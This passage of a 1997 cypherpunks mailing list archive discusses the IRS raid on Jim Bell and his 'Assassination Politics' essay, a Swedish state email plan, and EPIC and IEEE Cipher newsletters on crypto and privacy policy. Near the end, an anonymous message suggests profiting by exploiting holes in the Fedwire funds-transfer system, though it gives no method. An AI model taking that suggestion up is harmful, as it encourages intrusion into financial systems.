poor way to describe the 2-2.5 days between the appearance of the "IRS
Inspection" report (which was, in fact, the transcription of newspaper story)
and the WWW publication of the warrant & accompanying material. Also, Declan
was posting details from the warrant within 24 hours of the initial message.

>After following the debate, I would definately agree that AP played an
>important part in sparking the paranoia of the govt. officials to arrest
>Jim, which in turn sparked off paranoia on the list, and rather reactionary
>comments towards AP, and reactionary flames towards the reactionaries.  :)
>Hopefully this trend won't continue.

As far as I can tell, the events of last week haven't changed people's
opinions of AP at all - people who thought it was interesting/useful still
do, and people who thought it was uninteresting/stupid still do. I can't
speak for other posters to the list, but I'm inclined to distance myself from
AP not because I'm scared of a government raid, but because I think it's
theoretically uninteresting/unremarkable, politically/tactically poorly
considered, morally indefensible, and irresponsibly misleading to the extent
it purports to discuss US law. I don't want my comments about Jim Bell's
right to discuss his silly ideas to be confused with apologies or approval
for the ideas themselves. 

I believe Jim has every right to write essays about AP, give speeches &
seminars about AP, talk about "wonderful things" all that he likes, etc. But
the "marketplace of ideas" model, whereby good speech is expected to negate
bad speech, depends on the willingness of other people to provide "good
speech", or at least call "bad speech" into question. I think AP is "bad
speech" in the same way the "the earth is flat" is bad speech; it is (and
ought to be) legal to say it, but it's also a non-useful idea, which I hope
will be abandoned in favor of more useful ideas.

I've been ignoring (pre-raid) discussions about AP because I think that an
eternal recycling of arguments is uninteresting and unproductive. I think
that the search of Jim's house, and its relationship to his free speech
activities, is interesting - not because of the [lack of] quality of his
ideas, but because I think this may be a case where law enforcement used its
power to search & seize property in a punitive fashion. And that concerns me,
because I think that isn't uncommon where the target is a "dissident", of one
flavor or another; and I think that dissidents don't/shouldn't lose their
civil rights as a consequence of their status. ("when they came for .."
argument incorporated herein by reference.)

(The search is also interesting for reasons unrelated to Jim and his ideas,
because it provides insight into the level and type and timing of law
enforcement access to the net, treatment of a "confidential informant", and
protocol/procedure for search & seizure of computers and potentially
encrypted data, etc.)  

But that doesn't mean that the dissidents get special respect or treatment
for poor thinking. I think AP is poorly reasoned and poorly researched. (And
I think that "dissident" + "poor analysis/research" + "obsessive focus" =
"loon", hence my original comments.) 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:36:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Sweden Netscape Intra
Message-ID: <TCPSMTP.17.4.9.4.30.30.2780269260.1599068@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> The Swedish plan is something to be avoided. Consider just a few
 In> quotes:

Actually, I was just flying over the text before forwarding it. But
after reading it in depth, I agree with you.

 In> The government gives out the mailboxes. Wanna bet they give out the
 In> keys, too?

Not only that but it would create the e-mail monopoly, that would
be the destruction of the de-centralized nature of the Internet
(e-mail being part of it). Just imagine, how easy it would be to
have a few well publicized cases of remailer-abuse and the Swedish
Postal Office therefore decides to automatically block all mail
coming from (and maybe even to) remailers. With the majority of
people having no clue about remailers in the first place (except
what the press will feed them) the protest will be small enough to
be ignored.
That could even be extended to crypto, as you indicate. If Sweden
ever outlaws cryptography, the monopoly would provide a perfect
setting of enforcing such (with the few exceptions of where stego is
used). The same applies to content and traceability of e-mails.

 In> (Yes, I understand that the system is being presented as "voluntary."
 In> For how long? And what happens to non-PTT ISPs when the PTT is a state
 In> monopoly? (Imagine what would happen if the U.S. Postal Service made a
 In> deal wherein AOL became the favored provider.)

Market-driven "voluntary" measurements tend to be rather forced upon
people than anything else. If something is standard then you'll have
to use it because most other people do too. That is the danger with
monopolies of any kind.
This, I am afraid, will happen with crypto-issues in the US itself.
I am almost certain, that Windows 97 will adress cryptography in one
way or the other. If they put in means to encrypt e-mails for
example right from the operating system and independent of the
provider, then this would be the death-blow to PGP. And considering
the talk about "key-management-infrastructure", then this will be
probably the best means to achieve it. In fact, it might not even be
a GAK-enabled system, but one that's easy to crack (propriatory
algorithm or whatever). The civil-liberty groups have no GAK-issue
to talk about anymore and few will understand, why "security through
obscurity" is not good. The majority however, who doesn't care
anyway much about crypto, will use that slick Windows interface and
not worry any further. That would be cause for celebration at the
TLA's and the end to wide-spread strong crypto.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:37:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cipher newsletter
Message-ID: <TCPSMTP.17.4.9.4.31.16.2780269260.1599071@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

== Forwarded Message Follows =========================================

Vance Bell wrote:
From: vbell@dept.english.upenn.edu (Vance Bell)
Subject: Cipher
Date: Sun, 6 Apr 1997 16:46:08 -0400 (EDT)

Cipher

http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/

Cipher is the electronic newsletter of the Technical Committee on Security
and Privacy, IEEE featuring Security and Privacy News Briefs, Conference
Reports, Commentary and Opinion on computer security and privacy issues.

Recent articles:

     Security and Privacy News Briefs
          * LISTWATCH: Items from security-related mailing lists by Mary
          * UK Policy on Licensing TTPs Proposed, Criticised
          * Two New Sources of Random Numbers
          * Attack Reports and Responses
          * U.S. Computer Security Breach During Desert Shield?
          * New IETF Working Group Formed to Standardize SSH
          * News items from past Cipher issues
     Conference Reports
          * Report on 1st Annual Workshop on Education in Computer
              Security (WECS '97)
          * Report on ISOC Symposium on Network and Distributed System
              Security '97
     Commentary and Opinion
          * Practical Experimentation in Information Security Education
              (A brief report from a survey)
          *Summary of Comments on "A Serious Problem for Key Escrow
              Systems?"

Contact:

Carl Landwehr, landwehr@itd.nrl.navy.mil

- ------------------------------

== End Forwarded Message ==============================================


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 01:37:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.05
Message-ID: <TCPSMTP.17.4.9.4.31.26.2780269260.1599072@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


== Forwarded Message Follows =========================================

 * Originally By: In:epic-news@epic.org
 * Originally Re: EPIC Alert 4.05
 * Original Date: 04-08-97  18:08

   ==============================================================

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       @     @  @   @   @        @ @   @     @     @  @    @
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       @     @      @   @       @   @  @     @     @  @    @
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   ==============================================================
   Volume 4.05                                   April 8, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/


=======================================================================
Table of Contents
=======================================================================

[1] OECD Releases Crypto Guidelines
[2] White House Floats Draft Crypto Bill
[3] FAA Calls for Collecting SSNs of all Air Travelers
[4] Groups Urge IETF to Fix Cookies
[5] National Research Council Reports on Privacy of Medical Systems
[6] FTC To Conduct Hearings on Privacy, Investigate Databases
[7] NTIA Files Comments on Privacy of Telephone Calling Information
[8] Upcoming Conferences and Events

=======================================================================
[1] OECD Releases Crypto Guidelines
=======================================================================

The Organization for Economic Cooperation and Development (OECD), a 29
country international organization, released on March 27 its long
anticipated Guidelines for Cryptography Policy.  The Guidelines are
intended to promote the use of cryptography, to develop electronic
commerce through a variety of commercial applications, to bolster user
confidence in networks, and to provide for data security and privacy
protection.

The Cryptography Policy Guidelines are a non-binding agreement that
identifies the basic issues that countries should consider in drawing up
cryptography policies at the national and international level.  The
Recommendation culminates one year of intensive talks to draft the
Guidelines.  They are designed to assist decision-makers in the public
and private sectors in developing and implementing coherent national and
international policies for the effective use of cryptography. Member
countries are encouraged to establish new, or amend existing, policies
to reflect them.

The Guidelines set out eight basic Principles for cryptography policy in
the areas of trust, user choice, market development, technical
standards, privacy, lawful access, liability and international
cooperation. The key recommendations of the OECD include:

 -- Recognition of commercial importance of cryptography.  The Guidelines
    recognize that cryptography is an effective tool for the secure use
    of information technology by ensuring confidentiality, integrity and
    availability of data and providing authentication and non-repudiation
    mechanisms.

 -- Rejection of key escrow encryption.  The U.S. sought endorsement
    for government access to private keys.  Initial drafts of the
    guidelines included this recommendation.  The final draft does
    not. OECD countries rejected this approach.

 -- Endorsement of voluntary, market-driven development of crypto
    products.  The OECD emphasized open, competitive markets to
    promote trade and commerce in new cryptographic methods.

 -- Need for critical assessment of key escrow.  The OECD Guidelines
    recommend that countries which are considering key escrow techniques
    to consider also "the risks of misuse, the additional expense of
    any supporting infrastructure, the prospects of technical failure,
    and other costs."

 -- Endorsement of strong privacy safeguards.  The OECD adopted one of
    strongest privacy principles found in any international agreement,
    including the obligation to apply the OECD privacy principles to
    crypto products and services.  The OECD also noted favorably the
    development of anonymous payment schemes which would minimize the
    collection of personal data.

 -- Removal of Restrictions on Cryptography.  The OECD urged member
    countries to remove, and avoid creating, obstacles to trade
    based on cryptography policy.  This guideline should lead to
    further liberalization of export control policies among the
    OECD member countries.

Drafting of the Guidelines for Cryptography Policy began in early 1996.
More than 100 representatives from OECD Member countries participated,
including government officials from commerce, industry, telecommunications
and foreign ministries, law enforcement and security agencies, privacy and
data protection commissions, as well as representatives of private sector
and privacy advocates.

The Global Internet Liberty Campaign (http://www.gilc.org/), an
international coalition of civil liberties and human rights organizations,
organized a conference for the OECD delegates in Paris in September 1996.
The conference contributed significantly to the OECD's final
recommendations.

The Guidelines, the OECD press announcement and additional commentary are
available at:

     http://www.epic.org/crypto/oecd/

=======================================================================
[2] White House Floats Draft Crypto Bill
=======================================================================

The White House has released a new draft proposal on key escrow encryption
to the Congress.  The draft (dated March 12) is entitled the "Electronic
Data Security Act of 1997."  The legislation is the latest attempt to push
forward the result the Administration sought to achieve with the failed
Clipper Chip initiative -- ensuring government access to all encrypted
communications through government-escrowed keys.

To achieve this goal, the bill would create incentives for all persons and
organizations to use a government-certified Certificate Authority (CA) to
establish their identities for any electronic transactions.  The CA would
ensure that there was an escrow system in place before it would issue an
identification certificate to the user.

Government agencies would likely refuse to communicate with persons and
entities not using a government certified CA.  Agencies would also likely
pressure others over whom they have substantial regulatory or economic
power, such as banks, state agencies, and government contractors,  to
require that government-certified CA's are used to communicate with them.
Another provision would require any person who "manufactures, imports,
packages, distributes or labels" encryption products to state whether they
use a key recovery agent.

The draft bill also provides that if non-escrowed cryptography is used
during the commission of a crime, an additional five year prison sentence
could be imposed. Another provision, apparently intended to gain industry
support, would limit the potential civil liability of any "Certification
Authority" or "Key Recovery Agent" who obtains a government certification.

More information on cryptography policy is available at:

     http://www.epic.org/crypto/

==================================================================
[3] FAA Calls for Collecting SSNs of all Air Travelers
==================================================================

On March 13, the FAA issued a call for comments on a FAA proposal to
require airlines to collect substantial personal information on each
passenger, including full name, address, next of kin, Social Security
Number and date of birth.  The purpose of this collection would be to
facilitate identification of victims of airplane crashes.  The proposal
anticipates that passengers would have to provide this information in order
to board an aircraft.

The proposal raises a number of substantive threats to personal privacy.
One major problem is that it appears to violate the Privacy Act of 1974,
which limits the ability of government agencies to collect the SSN.  There
also appear to be no limitations on the use of the collected information,
creating a risk that the data could be put to a wide variety of unrelated
uses by both the airlines and government agencies.

One potential use of this information would be in connection with the
controversial "profiling" proposals recently recommended by the Gore
Commission.  The use of the Social Security Number would simplify the
comparison of passenger records with other databases.  It appears likely
that the FAA is using this proposal as a less controversial rationale to
demand the collection of personal information rather than specifically
including it in the profiling proposal, which has already generated
considerable public and editorial opposition.

More information on the proposal and other FAA activities is available at
the EPIC Airline Security Page:

     http://www.epic.org/privacy/faa/

=======================================================================
 [4] Groups Urge IETF to Fix Cookies
=======================================================================

Several leading consumer, civil liberties, and children's advocacy
organizations have urged an Internet standards organization to fix a
problem with web browser software that allows companies and government
agencies operating web sites to track the activities of Internet users.

The groups say that there is a problem with the so-called "cookies"
technology.  Cookies make it possible to read information on users'
computers and find out where they go on the Internet. Some companies in the
on-line advertising industry use cookies data to collect personal
information for advertising and marketing.

The Internet Engineering Task Force, a loose coalition of technical experts
responsible for the development of standards for the Internet is meeting
this week in Memphis to consider a wide range of technical issues
concerning the Internet, including a proposal to limit the ability of
companies to use cookies.

The proposed safeguard has come under attack by several companies engaged
in interactive advertising and marketing.  According to a March 31, 1997
article in Ad Age, these groups are now drafting a "counter-proposal" to
head-off the IETF recommendation.

In the letter, the groups express support for RFC 2109, the proposal for an
HTTP State Management Mechanism.  The letter further says that
"transparency" -- the ability of users to see and exercise control over the
disclosure of personally identifiable information -- is a critical
guideline for the development of sensible privacy practices on the
Internet"

The letter was signed by the Center for Media Education, Computer
Professionals for Social Responsibility, the Consumer Federation of
American, the Consumer Project on Technology, the Electronic Frontier
Foundation, the Electronic Privacy Information Center, National Association
of Elementary School Principals, NetAction, Privacy International, the
United States Privacy Council, and more than one hundred Internet users.

The coalition letter, and more information about cookies, is available at:

     http://www.epic.org/privacy/internet/cookies/

=======================================================================
[5] National Research Council Reports on Privacy of Medical Systems
=======================================================================

The National Research Council has released a report on the privacy of
medical systems.  The report, entitled "For the Record: Protecting
Electronic Health Information," calls for measures by government, companies
and consumers to better protect the privacy of medical records.

The NRC recommended a two-prong approach to dealing with medical privacy,
involving the revision of organizational practices to deter unauthorized
access to and/or misuse of electronic medical records, and implemention of
more stringent technical measures as a safeguard in case the first prong
proves ineffective.

The NRC also proposes that health-related organizations adopt fair
information practices similar to those contained in the federal Privacy Act
of 1974.  Consumers should have access to a privacy ombudsman that not only
provides such information, but could also address patient grievances over
violations of privacy.

The NRC waffled on fundamental issues such as the desirability of national
databases of medical information and the creation of a unique national
patient identifier, but expressed concerns over the ramifications for
privacy entailed in such a system.  Also proposed by the NRC, although
admittedly difficult to implement, is the identification of parties which
may inappropriately link patient information.  Using the Social Security
Number, the NRC states, is in its current form insufficient to protect the
privacy of individuals.

More information on medical privacy is available at:

     http://www.epic.org/privacy/medical/

=======================================================================
[6]  FTC To Conduct Hearings on Privacy, Investigate Databases
=======================================================================

The Federal Trade Commission has announced that it will convene a public
workshop devoted to consumer information privacy on June 10-13, 1997. This
is a follow-up to FTC workshops held last summer.

The workshop is intended to gather information on the collection,
compilation, sale and use of computerized data bases that contain sensitive
identifying information, as well as self-regulatory efforts, technological
innovations and unsolicited e-mail.  The workshop will also address these
developments as they pertain to children's personal information.

The workshop will gather information for a new computer data base study
that the FTC has also announced.  However, this study will be limited to
"look up services" which contain personal identifying information, such as
the Lexis-Nexis P-TRAK service.  Importantly, the FTC will not address
computer databases used primarily for direct marketing purposes, medical
and student records or the use of computer credit reports for employment
purposes.

Interested participants must submit written comments by April 15, 1997.

More information is available at the FCC web page:

     http://www.ftc.gov/

=======================================================================
[7] NTIA Files Comments on Privacy of Telephone Calling Information
=======================================================================

The Commerce Department's National Telecommunications and Information
Administration (NTIA) recommended on March 27 that the Federal
Communications Commission (FCC) establish more specific policies to protect

<<< Continued to next message >>>
======================================================================



If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 9 Apr 1997 02:08:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.05
Message-ID: <TCPSMTP.17.4.9.4.31.36.2780269260.1599073@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


== Forwarded Message Follows =========================================

 * Originally By: In:epic-news@epic.org
 * Originally Re: EPIC Alert 4.05
 * Original Date: 04-08-97  18:08

<<< This message is part 2 of a previous message >>>

the privacy of information gathered about consumers by telephone companies.
The recommendations cover Customer Proprietary Network Information (CPNI).
CPNI is the information that is gathered by phone companies in the process
of delivering services, such as numbers called, length of calls, and times
calls were made.  The FCC is currently conducting a rulemaking on CPNI
under the Telecommunications Act of 1996.

The law limits the use and disclosure of CPNI information:

    a telecommunications carrier that receives or obtains
    customer proprietary network information by virtue of its
    provision of a telecommunications service shall only use,
    disclose, or permit access to individually identifiable
    customer proprietary network information in its provision of
    (A) the telecommunications service from which such
    information is derived, or (B) services necessary to, or used
    in, the provision of such telecommunications service,
    including the publishing of directories.

NTIA recommended that phone companies provide a list of uses for the
information and provide consumers with an opportunity to opt-out of those
disclosures.  However, this appears to contradict the text of Section 702
of the Act, which requires that phone companies obtain prior written
consent before they can share the information and use the information for
marketing purposes.  Telephone companies have been pressing the FCC to
relax that requirement and to require customers to contact them before the
telcos stop selling the information.  Public interest groups such as
Computer Professionals for Social Responsibility and NetAction are arguing
for more consumer protection.

The NTIA comments are available at:

     http://www.ntia.doc.gov/ntiahome/fccfilings/cc96-115.htm

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Culture and Democracy revisited in the Global Information Society.
May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact:
http://www.math.aegean.gr/english/events/econf/ecnew/ewc97.htm

Can Trusted Third Parties Be Trusted?: A Public Debate on The UK
DTI Crypto Proposal. May 19, 1997. London, UK. Sponsored by Privacy
International and the London School of Economics. Contact: pi@privacy.org

CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and
Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John
Marshall Law School. Contact: cyber97@jmls.edu.

Ethics in the Computer Society: The Second Annual Ethics and
Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by
Loyola University Chicago. http://www.math.luc.edu/ethics97

Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC.
Sponsored by the Federal Trade Commission. Contact:
http://www.ftc.gov/os/9703/privacy.htm

INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala
Lumpur, Malaysia. Sponsored by the Internet Society. Contact:
inet97@isoc.org or http://www.isoc.org/inet97

Privacy Laws & Business 10th Anniversary Conference. July 1-3, 1997.
St. John's College, Cambridge, England. Contact:
info@privacylaws.co.uk.

Communities, Culture, Communication, and Computers (C**5): On the Role of
Professionals in the Information Age.  August 20-22, 1997, Paderborn,
Germany. Sponsored by FIFF. Contact: c5@uni-paderborn.de

AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels,
Belgium. Sponsored by Privacy International. Contact:
pi@privacy.org. http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission.

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by the Commission d'Acces a l'information du Quebec.
http://www.confpriv.qc.ca/

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

             (Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news@epic.org with
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest research
center in Washington, DC.  It was established in 1994 to focus public
attention on emerging privacy issues such as the Clipper Chip, the Digital
Telephony proposal, national ID cards, medical record privacy, and the
collection and sale of personal information. EPIC is sponsored by the Fund
for Constitutional Government, a non-profit organization established in
1974 to protect civil liberties and constitutional rights.  EPIC publishes
the EPIC Alert, pursues Freedom of Information Act litigation, and conducts
policy research. For more information, email info@epic.org,
HTTP://www.epic.org or write EPIC, 666 Pennsylvania Ave., SE, Suite 301,
Washington, DC 20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy Information
Center, contributions are welcome and fully tax-deductible.  Checks should
be made out to "The Fund for Constitutional Government" and sent to EPIC,
666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003. Individuals with
First Virtual accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and First
Amendment litigation, strong and effective advocacy for the right of
privacy and efforts to oppose government regulation of encryption and
funding of the National Wiretap Plan.

Thank you for your support.

== End Forwarded Message ==============================================


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 9 Apr 1997 01:55:51 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Jim Bell raid
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970409044458.142K-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 8 Apr 1997, Toto wrote:

-> Christopher Blizzard wrote: 
-> > In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
-> > ber writes:
-> > :Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
-> > :the IRS Inspection report, he was not charged with anything relating to the
-> > :essay itself.  In fact, the raid happened a long time after he published
-> > :the essay, and may truely be unrelated.
-> 
-> > Of course, the papers only talk about this.
-> 
->   Buy a clue, dudes.

I wouldn't bother with my nitpicky distinction below if it weren't for this
patronizing comment.

->   The application for a search warrant made it more than plain that
-> the main basis for the search and seizure fishing expedition mounted
-> by the Feds was based largely on his promotion of AP.
->   Only a few, sparse lines of the application are related to valid
-> IRS concerns re: taxes, etc. 

The search warrant was not made public on the cpunks list.  As you can see
form the above excerpt, I was commenting on the "IRS Inspection" report, which
was virtually the first description of Jim Bell's arrest, long before there
were even requests for information on the procedures for obtaining the
search warrants, etc...

After following the debate, I would definately agree that AP played an
important part in sparking the paranoia of the govt. officials to arrest
Jim, which in turn sparked off paranoia on the list, and rather reactionary
comments towards AP, and reactionary flames towards the reactionaries.  :)
Hopefully this trend won't continue.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 9 Apr 1997 02:23:06 -0700 (PDT)
To: Robin Lee Powell <rlpowell@calum.csclub.uwaterloo.ca>
Subject: Re: IRS raids a cypherpunk
In-Reply-To: <RLPOWELL.97Apr9022157@calum>
Message-ID: <Pine.LNX.3.95.970409052058.142R-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On 9 Apr 1997, Robin Lee Powell wrote:

-> 
-> The followiing is an article that didn't even brng a hiccup to cypherpunks.   
-> 
-> 
-> WHERE IS EVERYBODY??
-> 
-> -Robin, sniff :-(
-> 
-> In article <v03007807af6a270a11d5@[168.161.105.191]> Declan McCullagh <declan@well.com> writes:
-> 

**SNIP**

->    The Netly News Network
->    April 3, 1997
-> 
->    IRS raids a cypherpunk
->    by Declan McCullagh (declan@well.com)
-> 
-> 
-> 	Jim Bell's first mistake was publishing an
->    essay describing how disgruntled citizens could
->    kill off Federal government agents by using
->    anonymous betting pools and digital cash. His
->    second mistake was informing the IRS that the
->    agency had no legal authority to tax him.

**SNIP**


Are you kidding???  There's been several 20+ message threads on the whole
Jim Bell raid!  Where were YOU?


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rlpowell@calum.csclub.uwaterloo.ca (Robin Lee Powell)
Date: Tue, 8 Apr 1997 23:22:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: IRS raids a cypherpunk
In-Reply-To: <v03007807af6a270a11d5@[168.161.105.191]>
Message-ID: <RLPOWELL.97Apr9022157@calum>
MIME-Version: 1.0
Content-Type: text/plain



The followiing is an article that didn't even brng a hiccup to cypherpunks.   


WHERE IS EVERYBODY??

-Robin, sniff :-(

In article <v03007807af6a270a11d5@[168.161.105.191]> Declan McCullagh <declan@well.com> writes:

   Path: news.csclub.uwaterloo.ca!not-for-mail
   From: Declan McCullagh <declan@well.com>
   Newsgroups: csc.lists.coderpunks
   Date: 3 Apr 1997 23:41:04 -0500
   Organization: University of Waterloo Computer Science Club
   Lines: 79
   Sender: daemon@calum.csclub.uwaterloo.ca
   Approved: mail2news@csclub.uwaterloo.ca
   Distribution: csc
   NNTP-Posting-Host: calum.csclub.uwaterloo.ca
   Mime-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   X-Sender: declan@mail.pathfinder.com
   Precedence: bulk
   Xref: news.csclub.uwaterloo.ca csc.lists.coderpunks:1207

   [I've attached some excerpts from the article. Check
   out the URL below for the whole thing. --Declan]

   ********

   http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

   The Netly News Network
   April 3, 1997

   IRS raids a cypherpunk
   by Declan McCullagh (declan@well.com)


	Jim Bell's first mistake was publishing an
   essay describing how disgruntled citizens could
   kill off Federal government agents by using
   anonymous betting pools and digital cash. His
   second mistake was informing the IRS that the
   agency had no legal authority to tax him.

	About twenty armed IRS agents and other
   Federal police swarmed into Bell's home in
   Washington state on Tuesday morning, hunting for
   evidence that Bell's "Assassination Politics"
   essay had come to fruition. They expropriated
   Bell's three computer systems, two guns and even
   a solitary mouse cable. The Feds were taking no
   chances: Since Bell's voluminous Net postings
   mentioned tax collectors, agents from the BATF,
   FBI, DEA, and local police forces joined the
   raid.

   [...]

	The raid stemmed from a six-month tussle
   between Bell and the IRS, which began in November
   1996 when the 38-year old computer engineer
   demanded a hefty tax refund and threatened to
   convene his own "common-law court" if it was
   refused. That grabbed the Feds' attention. (So
   did the actions of the "Multnomah County Common
   Law Court," which apparently met in January to
   convict IRS agents and Attorney General Janet
   Reno of "theft by deception.") In February, IRS
   agents seized Bell's 1986 Honda as payment for
   back taxes -- and found inside it a printout of
   his "Assassination Politics" essay. "

   [...]

	And it was, ultimately, a Federal magistrate
   who signed the search warrant on 9:02 am on March
   28 at the request of the IRS. Jeffrey Gordon, an
   inspector in the IRS' Internal Security Division,
   details in an 10-page affidavit how he traced
   Bell's use of allegedly fraudulent Social
   Security Numbers, how he learned that Bell had
   been arrested in 1989 for "manufacturing a
   controlled substance," how he found out that Bell
   possessed the home addresses of a handful of IRS
   agents. Gordon's conclusion: Bell planned "to
   overthrow the government." The IRS investigator
   says in his affidavit that Bell's "essay details
   an illegal scheme by Bell which involves plans to
   assassinate IRS and other government officals...
   I believe that Bell has begun taking steps to
   carry out his Assassination Politics plan."

   [...]


   -------------------------
   Time Inc.
   The Netly News Network
   Washington Correspondent
   http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 9 Apr 1997 04:15:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryptoanalyze to make $$$ fast! [was Re: congressman wants review of online banking system]
Message-ID: <199704091115.HAA16239@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, Apr 8 1997, Robert Hettinga wrote-

>
>--- begin forwarded text
>
>
>X-Sender: oldbear@pop.tiac.net
>Date: Tue, 08 Apr 1997 17:58:51 -0400
>To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
>From: The Old Bear <oldbear@arctos.com>
>Subject: congressman wants review of online banking system
>Mime-Version: 1.0
>Sender: bounce-dcsb@ai.mit.edu
>Precedence: bulk
>Reply-To: The Old Bear <oldbear@arctos.com>
>
>CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING
>
>House Banking Committee Chairman James Leach (R-Iowa) has
>asked the General Accounting Office to review whether the
>Federal Reserve has sufficiently protected its Fedwire
>funds transfer and security transfer system from electronic
>trespassing.
>
>Fedwire processes around 380,000 securities and funds
>transfers totaling $1.6 trillion each day.
                    **********************
>
>source: BNA Daily Report for Executives
>        April 7, 1997


  I bet a crack team of encryption experts from the
cypherpunks list could make a pretty penny by exploiting
holes in Fedwire or related systems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:11:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <v03007805af70ef13a8f6@[207.167.93.63]>
Message-ID: <B80V5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:00 AM -0400 4/9/97, Declan McCullagh wrote:
